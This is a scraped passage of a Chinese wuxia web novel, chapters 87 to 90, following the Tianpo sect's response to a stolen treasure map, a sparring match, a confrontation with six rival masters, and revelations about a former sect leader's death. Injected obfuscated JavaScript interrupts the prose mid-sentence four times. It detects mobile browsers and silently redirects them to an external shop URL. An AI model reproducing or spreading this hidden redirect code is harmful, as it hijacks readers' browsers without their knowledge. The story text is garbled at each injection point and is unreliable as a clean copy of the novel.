文远骥何尝不知道这一点,便立刻上前想扶起他:“后山道路荒废已久,历来只有野兽出没,咱们从来都没有重视过。这次被有心之人钻了空子,怎么能说是你的错呢?” 江邵谦却纹丝不动,口气异常坚决:“所谓镇守冲要,自然要防患于未然,怎么能轻飘飘地用一句‘我没想到’就抹杀罪责。敌人的阴谋绝不会止步于藏宝图,后续只会有更多我们想不到的手段。如若第一回就心慈手软,废了纲纪,日后大家纷纷推脱起来,天魄门还有何力量可恃?门主罚了我,天魄门上下才会一心同体,把时刻警醒外敌入侵放在心上。” 文远骥转头去看许淑平,许淑平微微颔首。他暗暗叹气,说道:“二弟所言不错,敌人的目的尚未达到,日后咱们要防范的地方何止一二。你能一叶知秋,把天魄门防卫之事交予你,我很放心。至于问罪,你并非有意疏忽,说‘罪过’太重了些,如果我因此处置你也会让余者寒心,人人自危。不过你是政事堂首席,又管着守冲堂,此事毕竟造成了不好的后果,为作表率,就罚你三个月薪俸。你拟一份告示,将此事晓谕天魄门上下及各处山民,足以提醒大家加强防范了。” 江邵谦再拜,谢过门主的宽宏,起身道:“我已和元恒商议了,这个月之内,派几队人逐一检查后山大小路径,不能走人的全部填埋,稍微宽阔的布置机关,拣选上山冲要之处设置岗亭,安排人分班值守。如此,即使咱们人手不足,外人若还想踏足太白山,就没有那么容易了。” 党元恒是是个结实的中年大汉,领崇本堂的堂主,负责太白山所有房屋、道路、机关等工程的修造和维护。江邵谦说道他时他便出列,恭敬立于他的身后。 “甚好,二弟的盘算细致,就按你说的办吧。”文远骥点头,又对着党元恒道:“后山经年累月地无人管理,这番要废的功夫不小,你和兄弟们可要辛苦了。” 党元恒立刻口称“不敢”。 文远骥又向江邵谦说:“巡山和营造都是费心费力的事,从库中拨出银两,除了所需的器械物品,给额外出工的弟兄们每人发些钱。他们整日辛苦,必然照管不到家中妇孺,这些钱就算是对他们家的补贴。” 一边听着的党元恒大喜过望,马上躬身行礼:“谢门主!门主把兄弟们放在心上,我们也肯定会干得加倍起劲!” 这之后,党元恒又禀报说,雨季将至,前后山巨石龟裂之处不少,雨水浸泡下极易崩裂伤人,正好可趁此次巡山之机一并有所料理,文远骥和江邵谦都赞誉他考虑周到。固元堂的堂主刘岳群汇报了最近山中收获及外贩营收等事。江珺翊是济英堂堂主,负责新入门弟子的教习,但因连月不在门中,这部分的情况则由江邵谦代他做了说明。 ******************* 许淑平在这里原本就有住处,庞氏已经叫人收拾了出来,贺新韵被安排在许淑平的院子里,方便她平时照料许淑平的起居。安顿好贺新韵后,紫瑛则带着紫璇则回到了小时候居住的地方。 明月居是赤霞山庄中景致最佳的一处院落,住所之外还有一方小园、一湾池塘和几处亭台。这里原本是一座花园,作为历代门主的游幸之所坐落在山庄内侧,紫璇的母亲住进来之后才另加了院墙,起名为“明月居”。当时,晗月住在正房,紫瑛、紫璇年纪尚小,就一起住在东边的厢房内。 一路走过花园和池塘,紫璇才发觉自己对这里的记忆是那样模糊,所记得的似乎只有池塘一侧假山上的那个亭子和亭中抚琴的娘亲。除此之外,好像从没有注意过这里有什么树,开什么花。 一直走到正房外,她才又想起,娘亲生病的时候也不少,好像最后一两年有四五个月都在病中,连去亭子里弹琴的时候都比以往少了许多。可能,即使没有夺门之变,她也活不了多久了吧。 紫瑛一改平日里叽叽喳喳喜欢玩笑的模样,略有些紧张地跟着她身后 推门进去,目之所及都还是之前的模样,朝向花园的窗户开着,花瓶里插着新鲜的花卉,就连茶壶都还是温热的,似乎住在这里的人根本没有走。 进到里间,格局陈设如旧,只有床上的帷幔换成了妃色,床铺之上的被子也不是晗月素日里盖的。紫璇猛地转头,果然看见紫瑛正搓着一双手,眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924446|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲闪着根本不敢看自己,仿佛被揭破了谎话的小孩。 紫璇没有说话,静静的看着她,等她解释。 紫瑛有些害怕,但还是硬着头皮承认:“娘走了,你也被姥姥带走了,我一个人夜里害怕,总是睡不着,爹爹又忙,我找不到别人……我没有办法……就搬了过来……” “在这里你就能睡得着了?” 紫璇越是冷静,紫瑛就越是发憷:“我……娘走了,我很想她……” “她是我娘,不是你的!”紫璇很想就这样不管不顾地吼出来,可是看着紫瑛着急无措的脸,她只能把所有的委屈怒意硬生生压了回去。 揣着惶恐和莫名的内疚,紫瑛拉住她的衣袖:“你别生气,我现在已经不害怕、不失眠了,今天,就今天,我马上搬出来……” “不用。”紫璇平静地吐出两个字,甩开她的手,一个人去了外面。 当天晚上,紫璇和贺新韵挤在一处,熄了灯躺下,许久都没有睡着。 “还在生气?”黑暗中贺新韵的声音自枕边传来。 “我没有生气。”紫璇的话里听不出丝毫情绪。 “没生气干嘛跑到我这来?” “我的屋子还没收拾好,到你这将就一晚上。难不成你还要嫌弃我?” “咱们赶了十来天的路,好不容易到了,本以为能安安稳稳睡个好觉,谁知被你给搅了?”贺新韵故意逗她。 紫璇马上起身,带了薄怒道:“那我走,不打扰你的好梦。” 贺新韵似是算到了她的反应,赶忙按住她:“别闹,外面冷。你现在出去就是让阖家都不安生。” “怕什么,我倒是希望生病,等病了周围就都安静了。”紫璇几乎是下意识地说出了这句话。 贺新韵在心里叹息一声,轻声道:“你这样想,是想气我还是气谁?” 紫璇不语,将探出帷幔的半个身子又收了了回来。 “刚才紫瑛来过了。”贺新韵突然道。 她停了一下,见紫璇还是一点反应也没有,又说:“她问你吃晚饭了没有。还告诉我,她已经从你娘的屋子里搬出来了。” 紫璇轻轻动了一下。 “紫瑛是个好姐姐,虽然比你大不了多少,却总是把你放在前面。你喜欢什么,她从来都不争,还哄着文伯父经常给你送东西。你生病了,她比谁都着急,你肯好好吃药,她就变着法地哄你……” “我知道!”紫璇猛地打断她,“我知道,就是因为她总是这样好,这样处处小心,我才连气都没办法生。她还不如跋扈一点,至少我……” 紫璇断在了这里,贺新韵侧着身子伸手,抚上了她微微颤动的肩膀:“所以,你不是生她的气,而是生自己的气,对不对?” 紫璇没有答话,贺新韵又默默地叹了口气,一下又一下地轻轻拍打着她的背。 88. 兴师问罪(一) 清晨,天色尚青,山中雾气氤氲,采芹苑内的演武场上却已经响起了阵阵呼喝之声。江珺翊正带着十来个孩子做早课。旁边另有一些弟子,年龄不一,正按照各自的修习进度独自练习,他也会时不时走过去看几眼,在一些细节上指点几句。。 贺新韵还沉沉睡着,紫璇蹑手蹑脚地起来,简单梳洗过便直奔这里。 “第一天回来怎么不多睡一会儿?起的这样早?”江珺翊见她过来,笑着问道。 “说不上哪天姥姥又要考校功夫,我再不抓紧些,免不了又被她老人家训斥一顿。” “师祖娘严厉,你也不肯放松。” 江珺翊比紫璇年长几岁,紫瑛、紫璇还是孩童的时候,他总是带着她们一起玩耍,照顾她们。虽然二人一起习武,免不了被长辈们拿来相互比较,但在他心里,紫璇一直都是需要被照顾和保护的妹妹。 见她衣衫单薄,江珺翊立即关心道:“山中不必山下,日出之前又最是寒气逼人,你怎么不多穿些?” “我来练功,穿得太厚不好活动。”紫璇摆弄着手上的剑,“一会练起来就不冷了。” 二人闲话吸引了弟子们的注意,有些人甚至停了下来,想知道和堂主说话的人是谁。 江珺翊瞧出了他们的好奇,便带着紫璇过去,介绍道:“这就是我常和你们说的紫璇师姐。她资质好、悟性高,又极为勤勉,武艺精熟。以后她常住在门中,你们可以多和她请教。” 弟子们纷纷向紫璇问好。第一次以师姐身份出现在太白山,紫璇对此还有些陌生,只能僵硬地点点头,算是回应众人。 江珺翊料到了她的不自在,再度接过话头:“她功夫好,是以虽是门主之女,却一直由咱们师祖娘亲自教导。此番师祖娘回来,你们才能有福气见到她。” 到底有多厉害,竟然能让门主的师娘亲自教导?都知道江珺翊少年老成,功夫颇得文远骥真传,不知道二人相较,谁的功夫更厉害一些。天魄门中,阶级不显,师徒、上下之间往往亲如家人,说话时也就没有那么多的顾忌。有人好奇自然就把这个问题抛了出来。 “我和璇儿好些年没有切磋了。拳脚刀剑乃至暗器轻功,璇儿无有不会,还能融会贯通、灵活变化,想来功夫应在我之上。” 江珺翊说的是真心话,紫璇却不敢应承:“师兄总是自谦。我虽然学得多,但失至于驳杂不专,也比不上你精擅本门武学,每一样都练得极为老道。姥姥可是一直拿你做旗子督促我练剑呢。你这番话,她听了定要驳斥。” “不如师兄和师姐比试一场,我们也能顺便瞧一瞧咱们天魄门的高深武学。”他们谦让来谦让去的,反而让弟子们更加心痒,便有入门较早的弟子怂恿他们比试。 江珺翊踌躇一阵,又朝门口望一望,见无人前来,才道:“也罢,我爹不在,偷偷满足你们一下也无妨。”又征求紫璇的意见,“如何?给他们露一手?” 紫璇欣然应允。两把剑同时出鞘,就在演武场上切磋了起来。 江珺翊出招精确,头肩肘腕胯膝足无一处不与剑谱相合,能够最大地发挥出每一招的威力。紫璇则爱剑走偏锋,往往出完上半招,姿势一变就接上一个新的招式,好处是往往让对方措手不及,但也吃了不用全力的亏。 初时,江珺翊出剑极为谨慎,不急着和紫璇硬拼,而是在周旋中仔仔细细地观察对方,计划厚积薄发。紫璇则更为进取,换着不同的招式,想要试出珺翊的弱点。两人有来有往,一时间难分高下。 别说刚入门的小孩,就算是拜在文世杰门下七八年的弟子们也惊掉了下巴。江珺翊身为大师兄,练功勤、武艺高,他们都是耳闻目睹的。但紫璇是女儿身,看上去弱不禁风,如非亲见,实在难以相信她竟然能够接得住江珺翊的剑招,还时不时能逼退他们一向视为榜样的大师兄。 缠斗正酣,江珺翊忽得后撤,继而双脚交替前趋,右手持剑抡小臂画圈。紫璇见状也使出同样的招式,两人各自跃起,右臂挥剑在空中画了个圈子,两剑相交,发出砰的一声。紧接着珺翊的剑压过了紫璇的,两人落地,紫璇向后退开。 江珺翊收剑入鞘,笑道:“承让!璇儿当真是下了苦工,这套流光剑我刚刚能够使得圆熟,你已经能够自由发散,相机而动了。” 紫璇心中微苦,但还是笑着说:“你少恭维我,刚刚这招‘流星赶月’,我就不如你。论踏实严谨,还是你更胜一筹。” 江珺翊也不再废话,对着急切围拢过来的众弟子们道:“流光剑是本门祖师爷在太白山癫蒙仙人感应,悟出来的高深剑法,变化繁复,威力无穷。等你们把基本功练好了,将来师父必会倾囊相授。” 众弟子刚刚才见识了这套剑法的精妙,听闻自己未来也有机会接触这样高明的武学,不禁跃跃欲试,练功的动力更强了。 这边江珺翊还在承担他作为济英堂主和大师兄的训诫之责,一个年轻门人急匆匆跑进采芹院里。紫璇眼见,认出此人是政事堂的伍双全。 只见他神色慌张,一口气冲到江珺翊身边,拨开他面前的弟子,大声道:“外敌入侵,师父还有门主和敌人们打起来了!” 江珺翊闻言大惊,立马要跟他走,众弟子们也准备跟上。他猛地停下来,命令他们:“所有人不可擅动。外敌来犯,山中却毫无示警,来者要么尔尔,不足挂齿,要么极为强大。你们学艺未成,就算去了也顶不上,不如稍安勿躁。有事我会派人来叫你们。” 他又对弟子中年资最长的桑英道:“你领着他们回房,不得命令不得擅自出门、走动。违者逐出济英堂,听见没有?”桑英表示明白,马上按照珺翊的吩咐行事。 江珺翊和紫璇赶到山门处时,果然看到文远骥被几个人围攻,一旁许淑平也以一敌三,斗得难分你我。江邵谦则不见踪影,天魄门其余人则在外围和来人捉对厮杀,未落下风,两边都没有伤亡。 两人使出轻功,跃入战局核心,一个去帮文远骥,另一个瞄准攻向许淑平的人,各自分去一个敌手,斗了起来。 紫璇的对手是个中年人,使一柄□□,刚刚他绕到许淑平后方欲施以偷袭,被紫璇从天而降踢中脑门。眼见来人不过是个十几岁的小姑娘,自己却如此丢人,他恼羞成怒,更加卖力地舞起□□,专朝着紫璇的致命之处攻击。 紫璇心中冷笑,脚步不停,一边闪避,一边瞅准机会冷不丁地戳他一下。这般打法更加惹恼了他,那人眉头越锁越深,但招式仍旧稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941276|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 健狠辣,紫璇虽有得手,但一直不中要害,短时间内奈何不了他。 忽然听到一阵轰鸣,江邵谦在山门外大喊:“山上机关阵已启动,不想死的,赶快放下武器!” 少了一层压力,文远骥和许淑平便能轻松占据上风,听闻增援已到,便使出致胜的招数。文远骥以肉掌对阵一刀一剑,穿梭其中,片刻间已打中一个人的前胸和另一个人的后腰。二人吃痛,对视一眼,各自闪开让到一边,许淑平也制住了攻击自己的两个人,将他们踢出去老远。 天魄门其余人,包括紫璇和江珺翊尚未注意到这些情况,激战正酣。忽然间,紫璇面前落下一支箭簇,差一点插中那个中年人的大脚板,对方大惊之下随即后撤。箭镞自山门外射来,紫璇回头看见江邵谦和守冲堂的人围在两侧,心下已经明白,也退了开去。 另一边江珺翊和自己的对手也已经分开。如此,刚刚还在以命相搏的两方人马几乎在一瞬间内罢兵止戈,但各自的目光仍旧小心地注视着对方。 文远骥向适才和自己以及许淑平挑战的几人挨个儿望去,沉下声调一一念出他们的名号:“河东龙门山解立栋、谢立梁、云阳范式家主范宝林、原州肃远寨大当家占志高、洛南曹家堡堡主卢金良、蓝田派掌门葛宏丰。十年前我没有杀了你们,你们竟然还敢找上门来? 有几个人被他的寒气震住,一时间并不敢接话。 六人中年纪最长的当属蓝田派掌门葛宏丰,他刚刚被文远骥打败,此刻却毫不羞臊,站出来道:“十年前是十年前,现在是现在。天魄门将有大难,我们为何不能来。” “你们早已脱离天魄门另立了门户,现在却以门人自居,到底是何居心?” “文远骥,我们脱离的是你,不是天魄门!你不忠不孝,要做缩头乌龟,我们管不了,但如今有人要欺负到天魄门头上来了,我等绝不能闭上眼睛当没看见。” “此话何意?”文远骥眉头一皱,不难猜到他们的来意。 “藏宝图。”葛宏丰只说了三个字,可是这三个字背后牵连甚广,文远骥瞟了一眼远处的紫璇,心道:“决不能如他们的愿!” 占志高见他沉吟不语,急得插话:“我们听说藏宝图已落入他人之手,才特定相约一起前来门中商议,文门主何以拒人于千里之外?” 已经赶到文远骥身边的江邵谦低低地叫了一声“师兄”,许淑平也看向他,微不可察地摇了摇头。 文远骥无奈,对着江邵谦点了一下头。 江邵谦随即出来打圆场:“如果你们真心为了天魄门而来,那咱们就有商量的余地,此处不便,不如一起进议事堂,坐下来慢慢分说。” 六人没有异议,片刻前还针锋相对的两方人马便一起上山,往议事堂走去。半路上紫瑛和贺新韵也一起赶了过来,看他们都毫发未损,才大大地松了一口气。 快到门首时,文远骥落后几步,让江邵谦引着人先进去。自己则来到两个女儿身边:“璇儿留在外面,不得进去,还有瑛儿。”又招呼珺翊和贺新韵,“你们俩跟我来。” 紫瑛想要争辩,却遇上了父亲不容质疑的眼神,一下子熄了火。紫璇则压下心中不满,顺从地站到一边,顺便也拉走了紫瑛。 89. 兴师问罪(二) “十年前……”紫璇认真琢磨着刚才听到的那些话,若有所思地注视着议事堂紧闭的大门。 “你说什么?” 和紫璇一起被排除在天魄门正事之外,紫瑛只觉得气愤,便忘了紫璇还在和她生气,脱口问了出来。 “十年前,爹爹就想杀掉他们,却最终放过了他们……”紫璇重复道。 紫瑛张大嘴巴,半响才叫出声来:“他们……他们是逼死娘亲的凶手!” “恐怕就是这样。”紫璇语气平淡,眼睛却从未离开那扇大门,似乎想穿过它,死死盯住那些杀人凶手。 议事堂上,还是葛宏丰率先发话:“寻回天魄门的宝藏乃是老门主遗志,我等曾不敢忘。” 文远骥打断他:“十年了,你怎么还是这个理由。” 葛宏丰不去理会他话里的嘲讽,企图先发制人:“还不是因为你太过无能,竟然让人明晃晃地从太白山上盗走藏宝图,如今此图下落不明,如若我们不来问一嘴,你岂不是又要不了了之?” “十年前我就言明,苏明启穷尽半生都未能这桩找到所谓的宝藏,还为此丢了性命。教训不可谓不惨痛,若你们真的感念前门主,就不该再动寻宝的念头。”坐于上首的许淑平缓缓说道。 范宝林很是不满:“你虽是门主夫人,却也不能代表他老人家发言。十年前你不肯交出老门主留下的藏宝图,我们这才动起手来。新的藏宝图现世,就算你还想保守秘密,求个安稳,现在也不能够了。” 解立栋、解立梁两兄弟马上当起和事老:“是啊是啊,我们此来是真心实意地为了天魄门的体面和将来。如今另有一副藏宝图,还不幸落入他人之手,无论如何我们得想个对策,否则怎么对得起门主他老人家。” “就是嘛,要是宝藏给别人找到,天魄门必然会成为江湖笑柄!你们不要脸,老门主在时那么多兄弟故旧全部要跟着下面子,这一桩干系,你担得起吗?!”卢金良也插了进来。 这些人虽然贪婪,但摆出的理由冠冕堂皇,文远骥身为苏明启的弟子和现任门主,即使不能复兴,也决不能拿天魄门的名声开玩笑。 “却是奇怪,数月一来,藏宝图一事在江湖上闹得沸沸扬扬,还牵涉了人命官司,如果你们当真在意天魄门的荣辱,何以彼时默不作声?”文远骥目似寒冰,逼视着座中六人。 “还不是因为我们上了你的当!”葛宏丰斥道。 这话说得奇怪,文远骥根本摸不着头脑,问他此话何意? “打开宝藏,藏宝图之外还须有圣女。”卢金良,“十年前圣女殒命,我们这才以为寻宝从此没有希望,谁知圣女的后人早就被你隐匿了起来。还说什么寻宝危险,教训惨痛,装出一副不在意宝藏的样子,莫不是准备独吞?!” 此言一出,文远骥、许淑平、江邵谦全部瞠目结舌,而坐在最末的江珺翊和贺新韵因不明所以也瞪大了眼睛。 “怎么?秘密被我说破,不敢承认?我既然敢当着你的面说出来,自然是有十足的把握,你休想蒙骗我们。” 文远骥将牙齿咬了又咬,最后才从牙缝里挤出一句话来:“你们是怎么知道的?” “你别管我是怎么知道的。你就说事实是不是如此吧?” “魏崧泽怂恿你来的?” 乍然听到这个名字,座上诸人均偷偷交换起了眼神,唯有葛宏丰泰然自若:“就算魏师弟对此真的感兴趣,凭着他老门主座下三弟子的身份,也过问得了!” “那就是了?” “我可没说,你不要血口喷人!”葛宏丰撂下这句不打自招的话,转而发问:“圣女关乎本门宝藏的命运,就不能是你文远骥的私物。我且问你,这些年来你可有按照规程好好养育圣女?” 文远骥愤怒到了极点,十年前碍于他们的身份,自己已然留下了他们的性命,时至今日他竟然还敢问出如此无理的问题! 葛宏丰见他铁了心不开口,便故意竖起眉毛厉声喝问:“祖训圣女不得练武,成年之前要以灵药喂养。你身为门主,此责履行可否到位?” 文远骥嘴巴紧闭,杀气腾腾地瞪视着他。 许淑平开言道:“既然你们都知道了,我们也不好再隐瞒。当年不说并非要将之据为己有,而是考虑到圣女年纪尚小,她的身份又干系重大,如果泄露出去引来觊觎宝藏之人,不知要引发多少祸患。即便到了今日,她也未满十八,按祖师爷流传下来的规矩,还不能开启宝藏。” 她语气温和,显然是不欲和他们起冲突,葛宏丰乐意承她的情,不再对着文远骥咄咄逼人,而是冲着她道:“门主夫人所言也有道理。只要你们不是故意欺骗同门,一切都好说。” 解立栋也马上道:“都是为了咱们天魄门考虑,大家都别动气,别动气。” 卢金良却还是一副审问的口气:“葛掌门的问题,你们还没有回答。” 仍是许淑平道:“圣女由我照料,你们大可以放心。” “好,那就让我们见一见,好去去疑心。”占志高突然道。 另一边已经认命的文远骥也不再沉默:“你们说得好听,口口声声为了天魄门着想,说什么要继承师父遗志,谁知道你们实际上打得什么算盘?当年你们已经逼死了一个圣女,今日又想干什么?” 这一下问得六个人都哑口无言,趁着他们还在动脑筋想新的借口,文远骥继续道:“我既然做了这个门主,防范外敌自不必说,可也要当心内贼。”他边说边在面前六个人的脸上逡巡,似乎真能从面上看出他们的善恶。 卢金良尴尬大笑:“你把我们当什么人!我们在老门主麾下多年,何时有过私心?” “你最好说的是真心话。”文远骥盯住他,说了最后一句话。 如今骑虎难下,文远骥已不能拒绝寻找藏宝图,上面这番话既是威胁,也是为了先尽力明确自己一方在这件事当中占据主导。如若后续真的寻到了藏宝图,也必须掌握在自己手中,才能不受制于人。 这之后双方便议定,文远骥一方出面寻找藏宝图,其他几方如有消息需告知天魄门。若寻回藏宝图,文远骥不得独吞,需和天魄门旧部商议,一起决定后续行动。 这个过程中,文远骥一直惜字如金,只在关键处说明可否,一切细节都由江邵谦出面发言。 门外,紫瑛等得着急,来来回回踱着步子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961200|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。紫璇则静静站着,低着头在想事情。更远处六人带来的子侄后辈或坐或立,也等的不耐烦了。天魄门各分堂赶来增援的门人则整整齐齐地围在后方,对着这些不速之客虎视眈眈。约莫一个时辰之后,议事堂的大门才缓缓开启,江邵谦引着六人出来,后面还跟着江珺翊。 葛宏丰走在最前面,抬眼便看到了紫瑛姐妹俩。他在紫瑛面前停住,像检查货物一般仔仔细细地打量她。紫瑛毫不示弱,一样用力地盯回去。他嘿嘿笑了几声,说着"有意思!有意思!"便迈步走开。后面的人都无一例外地想多看紫瑛一眼,江珺翊走快一步挡在她身前,帮她摈去了不礼貌的目光。那些人虽然不满,却不敢再生事端。衣袖一甩,各自带齐属下,在江邵谦的"护送"下规规矩矩地下山了。 紫璇的目光紧紧追随着走在前面的六人,暗暗将每一个人的样貌及文远骥所说的门派名号对应起来。直到人影消失,她才转身进了议事堂。 议事堂中,紫瑛已率先赶到,正急切地向文远骥发问:“爹,他们就是夺门之变时害死娘的那些人,对吗?” 文远骥不语,算是默认了。 “那为什么放走他们?!” “他们上山来是有其他事情,并未做下不义之事。”文远骥声音疲惫,似乎并不想多说这件事。 “可他们杀了娘,怎么能轻易放过!” “晗月自刎而死,他们并非故意要杀人。”许淑平突然开口,看得却是刚刚进来的紫璇。 “不可能!娘她怎么会……她为什么要……这样?”紫瑛难以置信,看向了文远骥。 文远骥别过头躲开她的眼睛,她就再次转向许淑平,希望她能回答自己的疑问。贺新韵的目光也一直没有离开过许淑平。 紫璇刚刚进门,闻言猛地止步。跟在他身后的珺翊也一并停了下来,和她一样惊讶。 空气仿佛凝滞,除了紫瑛,所有在场的人都被定住,都在等待。半晌,紫璇缓过神来,强忍住翻滚的情绪,走到文远骥面前,和紫瑛并肩:“十年前到底发生了什么。我想知道。” 一直试图回避的文远骥,猛地转过头来看着她,突然又把头垂下,内里似乎正激烈地纠结着到底要不要说出实情。 仍旧是许淑平开口,用平静的语调开始讲述:“十年前……还没过年,准确来说应该是九年前,葛宏丰他们几个伙同另外几个江湖人攻上了天魄门,想从我这里打听苏明启留下的藏宝图,开掘宝藏。远骥被人偷袭,先受了伤,敌人便趁机劫持了晗月来威胁我们。未免我们为难,晗月便撞在了敌人的刀刃上,用自己的性命化解了天魄门的危局。” 一旁沉默听着的文远骥意味深长地看了许淑平一眼,捏紧的拳头稍稍放松。 “又是藏宝图。那东西就那么重要,连我娘的命都比不上?”紫璇言语冷峻,像是在质问对面的文远骥和许淑平。 “我从未这样想过,从始至终,晗月的命比任何事情都重要。”文远骥毫不犹豫地答道。 “是吗?那为什么不交出那副图,换我娘一命?” 许淑平叹息一声,道:“不是我不肯,而是我手中根本就没有那副藏宝图。” 90. 死亡 “不是我不肯,而是我手中根本就没有那副藏宝图。”许淑平长叹一声,看上去颇为愧疚,“这件事说来最该怪的人是我,苏明启死后,我一把火烧掉了所有他在钻研藏宝图时留下的过往典籍、记录,以至于那些觊觎藏宝图的门人遍寻不果,问到我的头上时,我却拿不出半点有用的信息。” “烧掉了……”正哭到一半的紫瑛再度震惊,眼泪都来不及擦干便问道:“为什么要全部烧掉?” “师祖留下的东西中到底有没有藏宝图?”紫璇的关注点不同,问的也是另一个问题。 许淑平逐一打量着堂上的年轻人,紫璇在沉静的面容下暗藏怒火,仿佛得不到答案马上就会暴跳如雷;紫瑛挂着泪,一半委屈,一半急切地等待着自己的回应;原本坐在末座的贺新韵已经站了起来,朝自己望着;江珺翊渐渐走近,关切地看着紫璇。 她突然露出一丝又像是欣慰又像是解脱的笑,低声呢喃:“都长大了。”随即朗声道:“天魄门的将来都在你们手里,也是时候把过往的真相告诉你们了。” “师祖留下的东西中到底有没有藏宝图?”紫璇又问了一遍,语气声调和刚才一模一样。 许淑平自嘲道:“我和苏明启关系一般,他都不肯把藏宝图交给自己最喜爱的三弟子魏崧泽,又怎么会交给我呢?”她抬手压下还要发问的紫璇,接着说,“至于我为什么要烧掉那些东西,那就得从源头说起。想必你们都听过天魄门创派祖师遇仙得道的故事?” 几个年轻人纷纷点头。许淑平便继续往下:“此说流传百年,过往的几任门主都以为荒诞不可考,并不把它当做一回事。但苏明启野心极大,即使武功高卓、罕有敌手也还是不满足。他平生所求,就是希望恢复天魄门往日荣光,他便可借此称霸武林。 “于是当上门主不久,他便开始着人各处搜集信息,为找寻宝藏做准备。还真是功夫不负有心人,他将天魄门历年典籍逐一清理,小心查看,果然在一本祖师褚慕遥的武学手记中发现端倪,找到了一副极其古怪的图画。那图上绘着各种无人识得的符号。我看过两次,也猜不透其中的含义。门中不乏阅历深厚的前辈,苏明启抄录了部分图符一一询问,也都没有结果。 “他不肯放弃,又开始从典籍中寻找破解那些图符的线索。我不知道他最终靠什么解密了藏宝图,总而言之,在他去世的那年年初,他声称藏宝之地已明,准备亲自去发掘。这段时间内变故颇多,先是他的亲子失踪,远骥也被人构陷违反门规被暂时关押了起来。即便如此,苏明启也不更改计划,坚持要去寻宝。还担心被包藏私心的门人截胡,亲自选了信得过的几人暗夜出发。” “那师祖找到宝藏了吗?”听得入迷,紫瑛已止住哭泣,还顺着许淑平话问了出来。 许淑平摇了几下头,幅度不小:“我也不知道。但苏明启回来之后便神志恍惚,当天夜里就撒手人寰。他死后,我验看过他的尸身,没有外伤,但经脉寸断,像是练功时气血逆转,走火入魔的模样。这之后,为着谁来继任门主,天魄门中又爆发了大大小小的冲突。待到一切平静下来,我才有余暇仔细思考,苏明启为何在一日之内暴毙。 “当时我和远骥、邵谦商议,都觉得问题出在所谓的‘宝藏’上。我们想找出跟他一起去寻宝的人问一问,却发现他们已经全部被杀。如此,我们只能猜测,或许他真得找到了宝藏,特别是其中的神功秘籍,于是迫不及待地当场修炼。否则怎么会经脉逆转、走火入魔? “如果真是这样,那这所谓的‘神功’便只可能是个赝品,苏明启在极端兴奋之下不曾详查,这才着了道儿。虽然不知当年留下宝藏的人为何要设下这样的陷阱,但门主因此而亡总不是一件光彩的事情,所以我们便决定将这件事按下不提,对外只说苏明启抱病身亡。 “与此同时,能够让后人获知藏宝之地的所有资料也需全部销毁,以免再生事端。” “单凭猜测就做了这么重要的决定,会否过于草率?为什么不找到藏宝之地一探究竟?”紫璇冷冷地问。 “问得好。我嫁到天魄门五年,目之所及多为阴狠贪婪之辈。提起宝藏,门中上下几乎人人心痒,都想据为己有或分一杯羹。苏明启为了寻宝已然付出了沉重代价,若此风延续,天魄门又将何去何从? “当时,武林中人皆以为苏明启治下的天魄门蒸蒸日上,要不了多久必能恢复旧时荣耀,但只要你仔细看,不难发现门人们各怀心思,不同势力暗自较劲。若不是忌惮苏明启的强悍,这些人哪会等到他身亡才叛离而去。而且,他们人人觊觎宝藏,如果他们得知苏明启已经破解了图谱且找到了宝藏的藏身之处,又岂会轻易地离开,放过我们这些留在门中的人? “既然一切祸根都是这桩所谓的宝藏,那就最好没有人再能找到它。远骥也不愿有人再动宝藏的心思,我们这才把将苏明启搜罗的所有典籍文书一并烧毁。他那么渴望发掘宝藏,我就把这些一并烧给他,他在地下要是无聊,可以继续摸索。”许淑平嗤笑一声,提起苏明启寻宝的狂热,她很是不屑。 “既然如此,为何多年后,那些人还会上来逼问藏宝图的下落?”紫璇尚未开口,江珺翊先问了出来。 许淑平抬头,看着贺新韵道:“千算万算,我们还是漏算了一个人。” “漏了谁?”紫璇追随着她的目光,心中已隐隐有了答案。 “西河贺家庄的庄主贺永诏。” 紫瑛和珺翊都急忙转身去看贺新韵,她对此也不甚了解,见许淑平提及自己的父亲,神色一紧。 “贺永诏当时是苏明启座下的左护法,当年便是他秘密带人随苏明启一起去寻宝的。苏明启回来后,恍惚之中偶尔清醒,便私下里嘱咐贺永诏将所有从人秘密处死,以免有人走漏风声。这之后风波迭起,贺永诏趁机回了本家,从他父亲手中接过庄主之职,再也不与天魄门往来。 “十多年前,有人查到真情,便想从贺永诏那里打听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 